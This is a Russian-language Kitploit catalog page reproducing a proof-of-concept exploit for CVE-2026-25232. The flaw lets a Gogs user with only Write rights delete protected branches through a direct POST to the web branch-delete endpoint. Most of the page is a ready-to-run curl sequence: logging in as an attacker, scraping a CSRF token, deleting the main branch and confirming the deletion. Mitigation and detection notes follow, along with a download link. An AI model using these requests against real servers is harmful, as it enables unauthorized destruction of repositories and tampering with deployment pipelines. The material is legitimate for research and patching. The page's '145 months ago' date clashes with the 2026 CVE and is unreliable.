Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-25232-PoC — Доказательство концепции для недавнего CVE-2026-25232, который представляет собой уязвимость повышения привилегий, присутствующую в Gogs. | Kitploit
Инструменты/GitHubGitHub/h1sok444/cve-2026-25232-poc
Повышение привилегийАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на Проникновение
GitHubh1sok444/cve-2026-25232-poc

CVE-2026-25232-PoC

Доказательство концепции для недавнего CVE-2026-25232, который представляет собой уязвимость повышения привилегий, присутствующую в Gogs.

Репозиторий
145 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-25232 — Обход защиты защищённых веток Gogs (эскалация Write → Admin)

Обзор

ПолеДетали
CVECVE-2026-25232
ПродуктGogs (Go Git Service)
Затронутые версии<= 0.13.4
Исправленная версия0.14.1
Оценка CVSSСредняя
CWECWE-863: Некорректная авторизация
Требуется аутентификацияДа (права Write на репозиторий)
ВоздействиеЭскалация привилегий с уровня Write до операций уровня Admin

Описание

CVE-2026-25232 — это уязвимость обхода контроля доступа в веб-интерфейсе Gogs. Она позволяет любому участнику репозитория с правами Write удалять защищённые ветки — включая ветку по умолчанию — путём отправки прямого POST-запроса к конечной точке DeleteBranchPost, полностью обходя механизмы защиты веток.

Корневая причина — расхождение между тем, как уровень Git Hook и веб-интерфейс обеспечивают защиту веток:

  • Git Hooks (SSH): корректно блокируют удаление защищённых веток через push-операции по SSH
  • Веб-интерфейс: функция DeleteBranchPost не запускает Git Hooks, поэтому проверка защиты никогда не выполняется

Это позволяет участнику с низкими привилегиями выполнять операции, которые должны быть доступны только администраторам репозитория.


Предварительные условия

  • Зарегистрированная учётная запись Gogs
  • Права Write на целевой репозиторий
  • Настроенные защищённые ветки в целевом репозитории
  • Сетевой доступ к веб-интерфейсу Gogs

Доказательство концепции

Окружение

  • Цель: http://<TARGET>:3001
  • Учётная запись атакующего: attacker:Password123! (права Write на репозиторий)
  • Целевой репозиторий: admin/important-repo
  • Защищённая ветка: main (ветка по умолчанию)

Шаг 1 — Проверка включения защиты ветки

Убедитесь, что ветка защищена и не может быть удалена обычными средствами:

root@kitploit:~
# Попытка обычного удаления ветки через API — должна завершиться ошибкой
curl -s -X DELETE 'http://<TARGET>:3001/api/v1/repos/admin/important-repo/branches/main' \
  -u 'attacker:Password123!'

Ожидаемый ответ: 403 Forbidden или ошибка защиты.


Шаг 2 — Получение действительного CSRF-токена

Получите CSRF-токен с любой аутентифицированной страницы:

root@kitploit:~
curl -s -c cookies.txt -b cookies.txt \
  'http://<TARGET>:3001/user/login' \
  -X POST \
  -d 'user_name=attacker&password=Password123!'

# Извлечение CSRF-токена со страницы репозитория
curl -s -c cookies.txt -b cookies.txt \
  'http://<TARGET>:3001/admin/important-repo' \
  | grep -o '_csrf" content="[^"]*"' | cut -d'"' -f3

Шаг 3 — Обход защиты через прямой POST к DeleteBranchPost

Отправьте прямой POST-запрос к конечной точке удаления ветки, обходя проверку защиты:

root@kitploit:~
curl -s -X POST 'http://<TARGET>:3001/admin/important-repo/branches/delete' \
  -b cookies.txt \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -d '_csrf=<CSRF_TOKEN>&name=main'

Защищённая ветка удаляется, несмотря на то, что у атакующего есть только права Write.


Шаг 4 — Проверка удаления

root@kitploit:~
curl -s 'http://<TARGET>:3001/api/v1/repos/admin/important-repo/branches' \
  -u 'attacker:Password123!'

Ветка main больше не будет отображаться в ответе.


Почему это работает

Функция DeleteBranchPost в веб-обработчике Gogs проверяет, что пользователь аутентифицирован и имеет права Write на репозиторий, но не проверяет, является ли целевая ветка защищённой:

root@kitploit:~
HTTP POST /owner/repo/branches/delete
    ↓
DeleteBranchPost()
    ↓
Проверка: Пользователь аутентифицирован? ✓
Проверка: Пользователь имеет права Write? ✓
Проверка: Ветка защищена? ✗ (ОТСУТСТВУЕТ)
    ↓
Ветка успешно удалена

Уровень Git Hook, который обеспечивает защиту веток, запускается только во время операций push/delete через SSH или HTTP Git-протокол — но не во время операций через веб-интерфейс. Этот архитектурный пробел означает, что любой участник с правами Write может выполнить эту операцию.


Воздействие

Злоумышленный участник с правами Write может:

  • Удалить любую защищённую ветку, включая ветку по умолчанию
  • Уничтожить основную линию разработки репозитория
  • Нарушить работу CI/CD-конвейеров, зависящих от защищённой ветки
  • Выполнить force-push или пересоздать ветки без защиты, что позволяет внедрить код в производственные конвейеры
  • Эскалировать эффективные привилегии с уровня Write до уровня Admin для операций управления ветками

В средах, где репозитории Gogs питают автоматизированные конвейеры развёртывания, это может привести к компрометации цепочки поставок.


Устранение

Обновитесь до Gogs v0.14.1 или новее. Исправление добавляет надлежащие проверки авторизации в функцию DeleteBranchPost для проверки статуса защиты ветки перед разрешением удаления, независимо от способа отправки запроса.

В качестве временного смягчения:

  • Ограничьте права Write на репозиторий только высоконадёжными пользователями
  • Внедрите средства контроля доступа на сетевом уровне, чтобы ограничить доступ к веб-интерфейсу Gogs
  • Отслеживайте журналы веб-сервера на предмет неожиданных POST-запросов к /repos/{owner}/{repo}/branches/delete
  • Используйте внешние решения для резервного копирования для поддержания копий защищённых веток

Обнаружение

Ищите следующие индикаторы эксплуатации:

  • Неожиданные POST-запросы к /<owner>/<repo>/branches/delete в журналах веб-сервера
  • Удаление защищённых веток без соответствующей активности Git Hook в журналах
  • События удаления веток пользователями, не имеющими привилегий Admin
  • Отсутствие или неожиданное изменение ветки по умолчанию

Ссылки

  • GitHub Security Advisory GHSA-2c6v-8r3v-gh6p
  • Релиз Gogs v0.14.1
  • CWE-863: Некорректная авторизация

Отказ от ответственности

Этот PoC предназначен только для образовательных целей и авторизованного тестирования безопасности. Не используйте его против систем, на тестирование которых у вас нет явного разрешения.

Скачать инструмент